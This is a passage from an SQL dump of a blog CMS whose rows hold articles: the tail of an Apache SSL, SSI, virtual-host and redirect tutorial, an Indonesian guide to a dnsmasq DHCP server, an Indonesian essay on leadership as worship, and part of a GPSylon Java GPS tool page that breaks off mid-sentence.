for ./demoCA/private/cakey.pem:\r\nCheck that the request matches the signature\r\nSignature ok\r\nCertificate Details:\r\n Serial Number: 1 (0x1)\r\n Validity\r\n Not Before: Feb 7 06:15:19 2004 GMT\r\n Not After : Feb 6 06:15:19 2005 GMT\r\n Subject:\r\n countryName = SG\r\n stateOrProvinceName = Singapore\r\n localityName = Singapore\r\n organizationName = Somewhere, Pte Ltd\r\n commonName = localhost.localdomain\r\n emailAddress = someone@somewhere.com\r\n\r\nYou will then be asked to sign the certificate and commit the changes.\r\n\r\nSign the certificate? [y/n]:y\r\n\r\n1 out of 1 certificate requests certified, commit? [y/n]y\r\n\r\nInformation about your signed certificate will then be dumped to screen. Note the validity dates of the certificate.\r\n\r\nAt the end of the information dump, you will be told that the certificate filename is newcert.pem, and can be found in the current directory.\r\n\r\n-----END CERTIFICATE-----\r\nSigned certificate is in newcert.pem\r\n\r\n\r\n\r\n8.6. Store certificates in a directory\r\n\r\nFinally, we will create a directory and copy the newly created certificates to the new directory.\r\n\r\n[root@localhost var]# mkdir myCA\r\n[root@localhost var]# cd myCA\r\n[root@localhost myCA]# cp /usr/share/ssl/misc/demoCA/cacert.pem .\r\n[root@localhost myCA]# cp /usr/share/ssl/misc/newcert.pem ./servercert.pem\r\n[root@localhost myCA]# cp /usr/share/ssl/misc/newreq.pem ./serverkey.pem\r\n[root@localhost myCA]# ls\r\ncacert.pem servercert.pem serverkey.pem\r\n\r\nWe will now need to copy the certificates and keys to a directory where Apache can access it. For simplicity, we will overwrite the default certificates that come with the mod_ssl RPM package.\r\n\r\n[root@localhost myCA]# cd /var/myCA\r\n[root@localhost myCA]# cp servercert.pem /etc/httpd/conf/ssl.crt/server.crt \r\ncp: overwrite `/etc/httpd/conf/ssl.crt/server.crt\'? y\r\n[root@localhost myCA]# cp serverkey.pem /etc/httpd/conf/ssl.key/server.key\r\ncp: overwrite `/etc/httpd/conf/ssl.key/server.key\'? y\r\n\r\n\r\n\r\n8.7. Edit ssl.conf\r\n\r\nNow, we enable SSL operations for Apache. Open ssl.conf for editing and uncomment and edit the following directives:\r\n\r\n * DocumentRoot\r\n * ServerName\r\n * ServerAdmin\r\n\r\nYou may want to change DocumentRoot to point to another directory, such as /var/www/ssl, and place your SSL files inside there instead.\r\n\r\nTo test your SSL configuration, create a simple HTML file, name it index.html and place it inside the DocumentRoot directory defined above.\r\n\r\n\r\n8.8. Test SSL\r\n\r\nFinally, we are ready to test our new SSL_enabled Apache web server. Start Apache. You will be asked to key in your passphrase. Enter your passphrase and observe that Apache 2 starts up. Open a browser and try to go to the URL https://localhost or http://localhost:443. If you have already created an index.html inside your DocumentRoot for your SSL configuration, you should see that page open up, but not before you get a certificate warning in your browser. If you see the certificate warning, it means that you have successfully setup Apache for SSL operations. Congratulations!\r\n\r\n\r\n\r\n8.9. Disabling the passphrase on startup (Optional)\r\n\r\nSometimes, the passphrase prompt can be inconvenient, especially when you want Apache to startup automatically on boot, without user intervention. We can disable the passphrase prompt by simply de-crypting the server key. To do this, we begin by making a copy of the server keyfile, then run the following command to decrypt it:\r\n\r\n# cd /etc/httpd/conf/ssl.key\r\n# cp server.key server.bak\r\n# openssl rsa -in server.bak -out server.key\r\n\r\n\r\n\r\n9. Server Side Includes (SSI)\r\n\r\nI always run a local copy of Apache on my laptop. Previously, it was because I needed to keep my Java API documentation handy, in case I needed to look up something. More recently, because the variety of my work has increased, I find that I have to include my bookmarks on a \"home page\".\r\n\r\nGenerating bookmarks from Mozilla is easy, it can be exported into a HTML page, named --quite logically-- \"bookmarks.html\". The problem is, how do I add the content of that generated page to my local home page?\r\n\r\nWith Server Side Includes (SSI), you can include other HTML pages inside one web page. You can even generate some dynamic content, such as adding a \"Last Modified\" field on the page or printing environment variables. This section explains how to enable SSI on your Apache server.\r\n\r\nIf you are using a clean install of Apache from the Fedora Core RPM packages, SSI is not enabled by default. To begin, open /etc/httpd/conf/httpd.conf and locate this line :\r\n\r\n<Directory \"/var/www/html\">\r\n\r\nDirectly under that line is a stanza describing the Options directive that immediately follows. Simply add \"Includes\" to the end of the Options directive like so,\r\n\r\n Options Indexes FollowSymLinks Includes\r\n\r\nNext, look for this line:\r\n\r\nAddType text/html .shtml\r\n\r\nIt should be uncommented by default. If it is commented out, simply uncomment it. That\'s all ! Files with the extension .shtml are SSI files. If you wish to use an .shtml file as the default page for your website or directory, you will need to make one more change. Locate the DirectoryIndex directive and add index.shtml to it, like so :\r\n\r\nDirectoryIndex index.html index.html.var index.shtml\r\n\r\nI will not be covering SSI syntax on web pages here, because it can get quite involved. In the References section, I have included a couple of links that can help you get started on SSI coding for your web pages.\r\n10. Name-based Virtual Hosts\r\n\r\nThere are already a lot of articles on this subject on the Internet. The reason why I am writing this is, there were a few small but significant details that were missed in all the articles I came across.\r\n\r\nWe will be setting up name-based virtual hosts, that is, we will have a single Apache instance serving web pages for several different domains, but using the same IP address.\r\n\r\nSuppose we want to setup 2 virtual domains, companyABC.com and companyDEF.com. We begin by setting up directories to store the web pages for these 2 domains:\r\n\r\n[root@localhost root]$ mkdir -p /var/www/co_abc\r\n[root@localhost root]$ mkdir -p /var/www/co_def \r\n\r\nNext, we should create some dummy web pages for both directories, so that we can test later. Just create a simple HTML page that shows \"Hello World\" and save it to each of the directories.\r\n\r\nWe will now open /etc/httpd/conf/httpd.conf. Locate the section on virtual hosts and you should see an example that is already commented out. The Virtual Host section begins with this line:\r\n\r\n### Section 3: Virtual Hosts\r\n\r\nInstead of telling you which lines to uncomment, I\'m going to show you below, the stanzas to add to the Virtual Host section to get companyABC.com and companyDEF.com websites running:\r\n\r\n#\r\n# Use name-based virtual hosting.\r\n#\r\nNameVirtualHost 127.0.0.1:80\r\nNameVirtualHost 127.0.0.1:443\r\n\r\n<VirtualHost 127.0.0.1:80>\r\n ServerName localhost\r\n DocumentRoot /var/www/html\r\n DirectoryIndex index.html index.shtml\r\n</VirtualHost>\r\n\r\n<VirtualHost 127.0.0.1:80>\r\n ServerName companyABC.com\r\n DocumentRoot /var/www/co_abc\r\n ErrorLog /var/log/httpd/abc_error_log\r\n CustomLog /var/log/httpd/abc_access_log common\r\n DirectoryIndex index.html index.shtml\r\n <Directory \"/var/www/co_abc\">\r\n Options Indexes FollowSymLinks Includes\r\n AllowOverride None\r\n Order allow,deny\r\n Allow from all\r\n </Directory>\r\n</VirtualHost>\r\n\r\n<VirtualHost 127.0.0.1:80>\r\n ServerName companyDEF.com\r\n DocumentRoot /var/www/co_def\r\n ErrorLog /var/log/httpd/def_error_log\r\n CustomLog /var/log/httpd/def_access_log common\r\n DirectoryIndex index.html index.shtml\r\n <Directory \"/var/www/co_def\">\r\n Options Indexes FollowSymLinks Includes\r\n AllowOverride None\r\n Order allow,deny\r\n Allow from all\r\n </Directory>\r\n</VirtualHost>\r\n\r\nNotice that in the firsst 2 uncommented lines, I specified \"NameVirtualHost\" followed by the IP address and the port number. The IP address used here is the localhost loopback address. Substitute that with your server\'s network IP address. The port numbers *must* be specified, especially if you have name-based virtual hosts listening on more that one IP address or on port addresses other than port 80. You will need one \"NameVirtualHost\" directive for each virtual host listening on a different port.\r\n\r\nNext, notice that I defined 3 <VirtualHost> stanzas, one for \"localhost\" which uses the default directory /var/www/html, one for companyABC.com and one for companyDEF.com. It is also necessary for each name virtual host to have a separate stanza here, including the default host (if you want it to be accessible).\r\n\r\nFinally, notice that for each stanza, I defined separate log files for each domain. I think this is a good idea, instead of lumping them all together, because this can help with troubleshooting.\r\n\r\nAfter you have added the stanzas, save the file. At this point, you will need to add the appropriate records to your DNS server to make these domains reachable by anyone on the network. If you have no access to a DNS server, or you just want to test the configuration, just edit your /etc/hosts file. Here is what my file looks like:\r\n\r\n# Do not remove the following line, or various programs\r\n# that require network functionality will fail.\r\n127.0.0.1 localhost.localdomain localhost\r\n127.0.0.1 companyABC.com\r\n127.0.0.1 companyDEF.com\r\n\r\nAfter you have made the changes, save the file, and you\'re ready to test. Just start Apache up, open a browser and try to open http://companyABC.com. You should see your test page. Try for http://companyDEF.com as well. If everything works, then congratulations ! Pretty simple, huh ?\r\n\r\n\r\n11. A Redirect Rule Example\r\n\r\nSuppose that we want to redirect all requests to a certain URL to another URL. We can implement it programatically by writing a HTML page with a Javascript redirect, or we could use Apache\'s Redirect function.\r\n\r\nThis is actually a very involved topic, so what I will provide here is actually a very simple example to help you get started. If you are going to be writing complex redirects, you will need an in-depth understanding of regular expressions. Because I do not have that, I will just cover something simple.\r\n\r\nSay that you want to redirect all requests to http://domain.com/premium/ to https://domain.com/registered. Here\'s what you will need inside your httpd.conf\r\n\r\n RewriteEngine on\r\n RewriteCond %{SERVER_PORT} ^80$\r\n RewriteRule ^/premium(.*)$ https://localhost/registered$1 [L,R]\r\n\r\nThese three lines go inside your <VirtualHost> stanza. Here\'s what mine looks like:\r\n\r\n<VirtualHost 127.0.0.1:80>\r\n ServerName localhost\r\n DocumentRoot /var/www/html\r\n DirectoryIndex index.html index.shtml\r\n RewriteEngine on\r\n RewriteCond %{SERVER_PORT} ^80$\r\n RewriteRule ^/premium(.*)$ https://localhost/registered$1 [L,R]\r\n RewriteLog \"/var/log/httpd/rewrite.log\"\r\n RewriteLogLevel 4\r\n</VirtualHost>\r\n\r\nNotice that I defined a log file and log level for this rewrite rule, and that it rewrites to an SSL-enabled URL.\r\n\r\nYou can test your new redirect rule by opening a browser and trying to go to http://localhost/premium. You should be automatically redirected to the SSL part of Apache.\r\n',1,1,4);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (70,'2008-02-17 15:37:03','Mengkonfigurasi DHCP Server di Linux','Mengkonfigurasi DHCP Server di Linux\r\n\r\nHehe karena blog gua di Amikom gak aktif lagi, aq koleksi artikel disini aja yak. Yang jelas artikel yang lumayan membantu dan OK.\r\n\r\nDHCP server punya solusi sip buat para admin jaringan yang punya client banyak, misal hotspot, lab, warnet dan lain lain. Sebenarnya ini persiapan buat bikin billing system di [*SENSOR] dan keliatannya dari salah satu software di Surabaya [*SENSOR] nyerah tuh. wehehe.\r\n\r\nMungkin konsep billing systemnya adalah sebagai berikut. Nanti ada pemeran kunci adalah Gatewaynya or Routernya pakek Linux yang menggunakan IP Table dan Squid(proxy) untuk manjemen koneksi internet. Sedang kan untuk pengaturan user menggunakan PHP dan Mysql Aja dah cukup. Nanti klo udah jadi gua kabari lagi, ini lagi riset sendiri hehe. Mohon doa restunya mudah-mudahan jadi dan ilmunya bisa dibagi OK. smile.gif\r\n\r\n========================\r\nDHCP Server Pakai DNSMasq\r\n\r\nLinux NetworkDHCP server adalah layanan yang memberikan alamat IP otomatis kepada komputer-komputer client pada suatu LAN. Layanan DHCP ini kini makin penting dengan makin maraknya jaringan wireless. Untungnya, hal ini mudah disetup pakai dnsmasq.\r\n\r\nBayangkan kita punya sebuah LAN dengan banyak komputer. Setiap komputer tentunya perlu alamat IP yang unik. Dengan cara manual, kita harus berikan alamat IP ini secara statik ke masing-masing komputer. kalau komputernya ada 100 atau lebih, pegel juga kan ;-)\r\n\r\nNah di sinilah perlunya DHCP (Dynamic Host Control Protocol). Secara umum, konfigurasi DHCP adalah sebagai berikut:\r\n\r\n\r\n[dhcp server]--------{LAN}--------[client (banyak sekali)]\r\n\r\n\r\nCara kerja sistem ini adalah:\r\n\r\n1. pada suatu LAN, cukup ada SATU DHCP server. DHCP server ini diset untuk membagikan alamat IP dengan rentang tertentu, misal 192.168.0.100 - 192.168.0.199.\r\n2. Ada banyak komputer client. Setiap komputer diset agar TCP/IP nya memakai mode AUTO.\r\n3. Saat komputer client dihidupkan, dia akan menyebarkan permintaan alamat IP.\r\n4. Si DHCP server akan menangkap permintaan ini, lalu memberikan nomor IP unik dalam rentang yang telah ditentukan. Bersamaan dengan itu, juga dapat diberikan informasi lain seperti netmask, alamat dns server, maupun gateway.\r\n5. Si client bisa men-set TCP/IP-nya sesuai informasi yang diberikan dan mulai bekerja.\r\n6. Alamat IP ini hanya pinjaman. Setelah selang waktu yang ditentukan, DHCP server akan menagihnya kembali agar dapat dipinjamkan ke client lain. Jadi si client harus memperbaharui pinjamannya (leasing) secara berkala.\r\n\r\nSementara itu ada hal tak kalah penting yang harus dilakukan. Saat DHCP server meminjamkan nomor IP, nama domain yang bersangkutan harus disinkronkan agar akses ke nama domain tak salah alamat. Jelas bahwa hal ini erat kaitannya dengan DNS server. Karena DNSMASQ adalah sekaligus dns server, hal ini akan otomatis terjadi. Tidak demikian halnya jika kita memakai paket terpisah, misalnya bind + dhcpd.\r\n\r\nDHCP SERVER SEDERHANA\r\n\r\nKini mari kita coba setup dnsmasq untuk konfigurasi sebagai berikut\r\n\r\n[client]---{LAN}---[gateway (dnsmasq)]---{INTERNET}----[provider (dns server)]\r\n\r\n\r\nDalam hal ini, dnsmasq bertindak sebagai dhcp server sekaligus dns server. Misalkan saja LAN ini memiliki data sebagai berikut:\r\n\r\n* Nomor IP : 192.168.0.1 - 192.168.0.254\r\n* Netmask : 255.255.255.0\r\n* Gateway : 192.168.0.254\r\n* DNS server : 192.168.0.254\r\n\r\nKemudian alamat IP yang tersedia kita alokasikan sebagai berikut:\r\n\r\n* Untuk client dengan IP statik : 192.168.0.1 - 192.168.0.127\r\n* Untuk client dengan IP dinamik : 192.168.0.128 - 192.168.0.191\r\n* Untuk server eksternal : 192.168.0.192 - 192.168.0.223\r\n* Untuk server internal : 192.168.0.224 - 192.168.0.254\r\n\r\nOh ya, sekedar tips. Pembagian tersebut diatur demikian rupa menurut rentang kepangkatan angka binari (128 + 64 + 64) sehingga nantinya enak kalau kita pasang firewall.\r\n\r\nNah, kini kita bisa mulai mengkonfigurasi dnsmasq:\r\n\r\n1. Konfigurasi dnsmasq sebagai dnsserver (lihat artikel sebelumnya).\r\n2. Untuk mengaktifkannya sebagai dhcp server, astaga, ternyata mudah sekali. Cukup edit /etc/dnsmasq.conf pada bagian-bagian berikut:\r\n\r\n# Set the domain for dnsmasq. this is optional, but if it is set, it\r\n# does the following things.\r\n# 1) Allows DHCP hosts to have fully qualified domain names, as long\r\n# as the domain part matches this setting.\r\n# 2) Sets the \"domain\" DHCP option thereby potentially setting the\r\n# domain of all systems configured by DHCP\r\n# 3) Provides the domain part for \"expand-hosts\"\r\ndomain=kampus.lan\r\n\r\n# Uncomment this to enable the integrated DHCP server, you need\r\n# to supply the range of addresses available for lease and optionally\r\n# a lease time. If you have more than one network, you will need to\r\n# repeat this for each network on which you want to supply DHCP\r\n# service.\r\ndhcp-range=192.168.0.128,192.168.0.191,12h\r\n\r\n# Send options to hosts which ask for a DHCP lease.\r\n# See RFC 2132 for details of available options.\r\n# Note that all the common settings, such as netmask and\r\n# broadcast address, DNS server and default route, are given\r\n# sane defaults by dnsmasq. You very likely will not need any\r\n# any dhcp-options. If you use Windows clients and Samba, there\r\n# are some options which are recommended, they are detailed at the\r\n# end of this section.\r\n# For reference, the common options are:\r\n# subnet mask - 1\r\n# default router - 3\r\n# DNS server - 6\r\n# broadcast address - 28\r\ndhcp-option=1,255.255.255.0\r\ndhcp-option=3,192.168.0.254\r\ndhcp-option=6,192.168.0.254\r\ndhcp-option=28,192.168.0.255\r\n\r\n# The DHCP server needs somewhere on disk to keep its lease database.\r\n# This defaults to a sane location, but if you want to change it, use\r\n# the line below.\r\ndhcp-leasefile=/var/run/dnsmasq/dnsmasq.leases\r\n\r\n\r\n3. Jangan lupa menyediakan tempat untuk lease file\r\n\r\n# mkdir -p /var/run/dnsmasq\r\n# touch /var/run/dnsmasq/dnsmasq.leases\r\n\r\nSilahkan start atau restart dnsmasq. Kini tinggal set client (Linux maupun Windows) agar memakai IP dinamik (auto). Jika semuanya berjalan benar, maka saat diaktifkan client akan mendapat salah satu alamat IP antara 192.168.0.128 s/d 192.168.0.191, demikian pula setting netmask, gateway dan dns server yang sesuai.\r\n\r\nDHCP SERVER LEBIH JAUH\r\n\r\nAda beberapa setting di dnsmasq.conf untuk fitur-fitur lebih kompleks, misalkan saja:\r\n\r\n* Atur agar client dengan nama domain tertentu selalu mendapat IP khusus\r\n\r\n# Give the machine which says it\'s name is \"dosen01\" IP address\r\n# 192.168.0.130 and an infinite lease\r\ndhcp-host=dosen01,192.168.0.130,infinite\r\n\r\nAgar hal ini bisa bekerja, pastikan tiap client memiliki nama yang benar. Di Linux, set /etc/HOSTNAME. Sementara itu di Windows, isikan nama domain pada setting TCP/IP.\r\n* Atur agar client tertentu mendapat IP yang sesuai dengan nama domain di /etc/hosts\r\n\r\n# Enable the address given for \"lab01\" in /etc/hosts\r\n# to be given to a machine presenting the name \"lab01\" when\r\n# it asks for a DHCP lease.\r\ndhcp-host=lab01\r\n\r\nHal ini memungkinkan sinkronisasi otomatis dengan dns server.\r\n* Atur agar client dengan MAC address tertentu selalu mendapat IP khusus\r\n\r\n# Always allocate the host with ethernet address 11:22:33:44:55:66\r\n# The IP address 192.168.0.129\r\ndhcp-host=11:22:33:44:55:66,192.168.0.129\r\n\r\nUntuk yang satu ini, anda perlu mendata semua MAC address client. Untuk mengetahui MAC address sebuah Linux client, panggil saja ifconfig. Sementara di Windows client gunakan ipconfig.\r\n* Blok komputer yang anda tahu suka nakal\r\n\r\n# Never offer DHCP service to a machine whose ethernet\r\n# address is 11:22:33:44:55:66\r\ndhcp-host=11:22:33:44:55:66,ignore\r\n\r\nSekian dulu soal dnsmasq. Silahkan coba, ditanggung beres dalam 30 menit tanpa pusing teori DNS+DHCP yang biasanya harus dibaca dulu kalau mau setting BIND atau DHCPD smile.gif\r\n\r\nCopyleft : Kocil\r\nLicense : GNU FDL\r\nPosted to: www.benpinter.net.\r\nTestbed : Pentium IV 2.4GHz, Vector Linux 5.x\r\nWritepad : Bluefish\r\n',1,1,4);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (71,'2008-02-17 16:00:51','Ibadah Pemimpin dan Pelajar','Ibadah Pemimpin dan Pelajar \r\nOleh : taufiq sulaiman ritonga\r\n \r\n\r\n“Luangkanlah waktu untuk intropeksi diri dengan melihat tanggung jawab, karena itu adalah jalan untuk ibadah yang mendatangkan ketenangan dan kesungguhan dalam bertindak”\r\n\r\nDidunia ini begitu banyak hal yang bisa kita jadikan objek untuk beribadah dalam memperoleh pahala, tidak hanya sebatas ritual seperti sholat dan berdzikir akan tetapi juga dalam bersosial. Bahkan ibadah terbanyak sebenarnya justru menyangkut sosial. Maka ibadah seorang presiden, mentri, bapak KBRI, bupati, bapak lurah.dan bahkan ketua organisasi Tidak diukur pada kekhusyukannya sholat. Atau lamanya berwiritan. Melainkan pada tanggung jawab dan kebijaksanaanya yang membawa kesejahteraan rakyat/ anggota.\r\n\r\nDiriwayatkan bahwa sultan Mahmud Al Garnawi, beliau di awal pemerintahannya duduk setelah shalat shubuh untuk sibuk membaca shalawat kepada Nabi Muhammad SAW sebanyak tiga ratus ribu kali sampai siang hari dan rakyatnya duduk di pintu, menunggu keluarnya Sultan Mahmud untuk menyelesaikan hajatnya. Setelah keadaan ini berlangsung lama, maka beliau melihat Nabi SAW di dalam tidurnya Nabi mengatakan kepadanya \"Apa ini pemanjangan waktu sehingga rakyatmu telah menunggu kamu keluar \", maka Sultan Mahmud menjawab saya duduk menghabiskan waktu lama karna saya bershalawat kepadamu dalam jumlah tertentu (300 ribu kali) dan saya tidak akan berdiri sebelum selesai. Maka Nabi mengatakan kepadanya \"Ini menyusahkan orang lemah (Rakyatmu) dan yang punya hajat, akan tetapi saya (Nabi) akan mengajarkan kepadamu Shalawat yang ringkas yang mana apabila kamu membacanya satu kali sebanding 100 ribu kali, jadi kamu tinggal membaca 3x saja sudah sebanding 300 ribu kali. Setelah itu kamu keluar menemui rakyatmu untuk menyelesaikan urusan-urusan mereka, sehingga kamu mendapat pahala shalawat 300 ribu kali dan mendapat pahala memberi manfaat kepada orang muslimin.\r\n\r\nDikisah itu Rasulullah SAW memberikan bimbingan yang sangat berarti, bahwa seseorang itu harus bisa menempatkan diri pada posisinya, karena dengan melayani rakyat/ anggota dan memenuhi kebutuhan mereka merupakan ibadah yang besar yang kelak akan dimintai pertanggung jawabanya. Jadi tidak benar seandainya seorang pemimpin asik dalam ibadahnya sementara rakyat/anggotanya dibiarkan dengan memperlama urusan mereka, apalagi sampai menterlantarkan tanpa dipedulikan keperluannya, dan malah mengambil kesempatan untuk mengorek harta dengan dalih tunjagan untuk setiap urusan. Nauzu billah.\r\n\r\nAllah maha adil, segalanya telah disesuaikannya, oleh karenanya jangan kawatir tidak kedapatan pahala. Dan harus bisa menempatkan pada posisinya dengan sebenar-benar kepedulian serta tanggung jawab. menyadari kita adalah sebagai manusia yang juga memiliki kelemahan dan saling membutuhkan sehingga sadar akan peran kita sebagai apa itu adalah jauh lebih baik dari pada merasa hebat walaupun benar-benar memiliki banyak kelebihan.\r\n\r\nIbadah anggota DPR diukur dari kesunggguhannya menyuarakan aspirasi rakyat. ibadah pemimpin negara/pemimpin organisasi diukur pada tanggung jawabnya, dan kepudulianya kepada anggota dengan mendengarkan teriakan argumenya. Ibadah insan pers diukur dari kebenaran informasinya, tidak memfitnah.. Ibadah seorang sutradara dan produser film diukur dari kandungan pesan baik didalam film yang dipersembahkanya sehingga berdampak positif pada para pemirsa, bukan merusak moral. Ibadah para pelajar diukur pada kesungguhanya dalam menuntut ilmu dan terus berusaha maju dengan memiliki keyakinan yang kuat bahwa semua pasti bisa, bukan malah menyerah, ogah-ogahan dan malah menyalahkan takdir. Mungkin sesekali kegagalan akan menghinggap dan memang menyakitkan, akan tetapi marilah belajar untuk bisa menerima kegagalan, kemudian tanamkan tekat untuk lebih baik. Insya allah ada jalan dan ribuan kesuccessan akan diraih.Wallahu a’lam.',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (72,'2008-02-19 13:55:04','\"GPSylon\" Framework buat Tracking GPS di JAVA','Lagi dites dan dicari Bugnya, hehe. Tested by Mamat, get bug and fixed.\r\n<p>\r\n The dinopolis gpstool package is an open source (LGPL) Java GPS\r\n application. It consists of different modules that may be used as a\r\n programmer\'s framework or as an application. The main application is\r\n <a href=\"#general_description\">GPSylon</a>. A smaller command line tool (demonstration of the\r\n gpsinput library) is named <a href=\"#gpstool\">GPSTool</a>. The library that is used\r\n to communicate with the gps device can be used independently and is provided as a\r\n separate jar file (since version 0.5).\r\n </p>\r\n\r\n <a name=\"news\"></a>\r\n <h2>News</h2>\r\n <p>\r\n 2006/10/23: New Release 0.5.2: Serial communication with gps devices fixed - no installation\r\n of java serial libraries needed. Fixed some other bugs and added export of tracks in gpx format.\r\n </p>\r\n <p>\r\n 2006/02/10: Minor bug fix on loading gpx tracks.\r\n </p>\r\n <p>\r\n 2006/02/01: Giving Google Ads a try.\r\n </p>\r\n <p>\r\n 2006/02/01: Finally, separated the gpsinput library from the rest, redesign\r\n of homepage (css\'ed it). Version 0.5 released. No new features, just a\r\n little code cleanup.\r\n </p>\r\n <p>\r\n 2003/05/12: As the name GPSMap is already used by several other projects/products, the main\r\n application is renamed to GPSylon.<br>\r\n </p>\r\n\r\n <a name=\"general_description\"></a>\r\n <h2>Short Description of GPSylon</h2>\r\n\r\n <p>\r\n GPSylon is able to show maps downloaded from the\r\n <!--\r\n <a href=\"http://www.mapblast.com\">mapblast</a>\r\n or\r\n -->\r\n <a href=\"http://www.expedia.com/\">expedia</a>\r\n map servers. It may connect\r\n to a gps device and track your position on\r\n the maps. At the moment, it is able to read gpsdata in the NMEA\r\n standard from a serial gps device, a file or a gps daemon across a\r\n network (available at the\r\n <a href=\"http://freshmeat.net/projects/gpsd/\">gpsd project page</a>).\r\n </p>\r\n\r\n <p>\r\n The main feature is the display of various maps. GPSylon allows the\r\n user to navigate around like in a digital atlas. It shows maps of\r\n different scales, so missing maps of one scale do not result in a\r\n black screen, but show the next larger scale. See <a href=\"http://www.tegmento.org/gpsylon/screenshots.html#diffscales\">the screenshot section</a> for an\r\n image.\r\n </p>\r\n\r\n <p>It allows the download of a single map or for a given location or\r\nfor multiple maps in a given rectangular area from mapblast or expedia\r\nmap servers. In the download mouse mode the user may choose a single map\r\nor by dragging a rectangle with the mouse, the user may choose to\r\ndownload maps for a larger area. This functionality allows the user to\r\ndownload maps in a given scale for a larger area. Please only download\r\nmaps you need and be careful not to download thousands of maps, as the\r\nmap providers will discontinue their service when it is misused!\r\n</p>\r\n\r\n <p>\r\n It uses the open source library <a href=\"http://openmap.bbn.com/\">openmap</a>\r\n for various cartographic things.\r\n </p>\r\n\r\n <h3>Features</h3>\r\n The following features are implemented.\r\n <ul>\r\n <li>Display different maps from mapblast or expedia server (also for\r\n maps of different scale).</li>\r\n <li>Display current position (gps position).</li>\r\n <li>Read gps data from serial device, file, or gpsd (daemon).</li>\r\n <li>Uses the following NMEA sentences: GLL, HDG, RMC, GGA, GSV, DBT, VTG, HTD.</li>\r\n <li>Display a track from gps data.</li>\r\n <li>Save the track.</li>\r\n <li>Load a track created from GPSylon or from <a href=\"http://gpsdrive.kraftvoll.at/\">gpsdrive</a>.</li>\r\n <li>Import maps from gpsdrive.</li>\r\n <li>Download a map for a given position.</li>\r\n <li>Download maps for an area.</li>\r\n <li>Measure distance (ruler).</li>\r\n <li>Read and display shape files (very basic, not well tested!).</li>\r\n <li>display graticule lines</li>\r\n <li>window to display the raw nmea data</li>\r\n <li>\r\n Location Marker support: (creating markers, load markers from files (comma\r\n or space\r\n separated (name, latitude, longitude [,category]) - in that order!)),\r\n export markers to csv files, icons for categories, import geonet data\r\n (available from <a href=\"http://164.214.2.59/gns/html/index.html\">http://164.214.2.59/gns/html/index.html</a>)\r\n </li>\r\n <li>Database support for Location Markers - selection of categories to\r\n display.<br>\r\n Different databases are supported (derby and hsqldb (both pure java, zero configuration),\r\n mysql and postgresql) - the database and all tables are created automatically</li>\r\n <li>Level Of Detail: depending on the chosen scale, not all location\r\n markers are displayed. The level of detail is increased when the user\r\n zooms in or chooses to override the level of detail. This behaviour\r\n might be tricky, when the user creates a location marker in a\r\n category that does not show due to its higher level of detail. So the\r\n user may not see the newly created marker.</li>\r\n <li>Search for location markers and set the center of the map\r\n to a search result. This is extremely useful in combination with the\r\n geonet data. So, after importing the geonet data, one is able to\r\n search for very small villages or other points of interest. When\r\n using mysql or postgresql as a database, the lookup for names of location markers\r\n is very fast, the (default) hsql database is about 5 to 10 times\r\n slower (but also works perfectly, just slower :-). So if one or more\r\n geonet files should be imported, I recommend mysql or postgresql (see in the\r\n <a href=\"#installation_database\">installation section</a> for\r\n configuration details).</li>\r\n </ul>\r\n\r\n <a name=\"screenshots\"></a>\r\n <h2>Screenshots</h2>\r\n <p>\r\n Screenshots can be found <a href=\"http://www.tegmento.org/gpsylon/screenshots.html\">here</a>.\r\n </p>\r\n\r\n <a name=\"supported_devices\"></a>\r\n <h2>Supported GPS Devices</h2>\r\n <p>\r\n In general, all gps devices that support NMEA communication should\r\n work. Garmin protocol support is built in.\r\n </p>\r\n <p>\r\n There were reports of the following devices to work with GPSylon:\r\n </p><ul>\r\n <li>Garmin Etrex Summit/Legend (NMEA/garmin modes) tested by myself)</li>\r\n <li>Garmin eMap (NMEA/garmin modes) (reported by Thomas Müller))</li>\r\n <li>Trimble Lassen SK8 (NMEA mode) (reported by Didier Donsez)</li>\r\n <li>Garmin 35 (NMEA mode) (reported by Antonio)</li>\r\n <li>Conexant \'99 embedded module (NMEA mode) (reported by Antonio)</li>\r\n <li>LeadTek Gps-9543 embedded module (NMEA mode) (reported by\r\n Antonio)</li>\r\n <li>Garmin Geko 201 (garmin mode) (reported by Frank Wilhelm)</li>\r\n <li>GlobalSat Bluetooth GPS BT-338 (tested by myself)</li>\r\n <li>Navilock NL-303P PDA-GPS-Receiver with Serial/USB converter (tested by Silverbullet)</li>\r\n </ul>\r\n \r\n <p>\r\n Linux users please note: serial ports must be like /dev/ttySXX, as otherwise\r\n rxtx does not recognize the port. So for bluetooth or USB devices,\r\n a symlink is needed!\r\n </p>\r\n <p>\r\n For bluetooth connection, I used the following commands under linux to\r\n create a serial connection with bluetooth. First, find the id of your\r\n bluetooth device. I used <code>hcitool</code> for this:\r\n </p><pre> hcitool scan\r\n output:\r\n Scanning ...\r\n 00:0B:5D:13:91:49 BEGRZ9001001\r\n 00:0D:B5:30:3C:0A BT-GPS-303C0A\r\n </pre>\r\n The first id is my bluetooth dongle on the pc, the second is the gps device.\r\n So, with this id, we can create a virtual serial port using <code>rfcomm</code>:\r\n <pre> rfcomm bind /dev/ttyS50 00:0D:B5:30:3C:0A\r\n </pre>\r\n As rxtx does not allow <code>/dev/rfcomm0</code> as serial device, I used <code>/dev/ttyS50</code>\r\n (all ttys below 50 were already existent in my installation). A symlink from\r\n ttyS50 to rfcomm0 also works!\r\n \r\n <p>\r\n After this, I set some port parameter (I\'m not sure, if this is really needed!):\r\n </p><pre> stty -F/dev/ttyS50 -raw -onlcr\r\n </pre>\r\n Now, GPSTool or GPSylon can use the serial port <code>/dev/ttyS50</code> for\r\n communication with the nmea bluetooth gps device.\r\n \r\n <p>\r\n After closing the application, one should release the bluetooth serial port:\r\n </p><pre> rfcomm release /dev/ttyS50\r\n </pre>\r\n Please note, that all these commands (except for the application start)\r\n need to be run as root!\r\n \r\n\r\n <a name=\"installation\"></a>\r\n <h2>Installation</h2>\r\n <p>\r\n No installation of GPSylon itself is needed. Nevertheless, some dependencies\r\n exist:\r\n\r\n </p><ul>\r\n <li>\r\n Java in Version 1.4 (or better) is needed. It can be obtained from\r\n <a href=\"http://java.sun.com/\">Sun\'s Website</a>. Development is\r\n currently done with version 1.5, but tests are done for version 1.4.\r\n Java version 1.3 will NOT 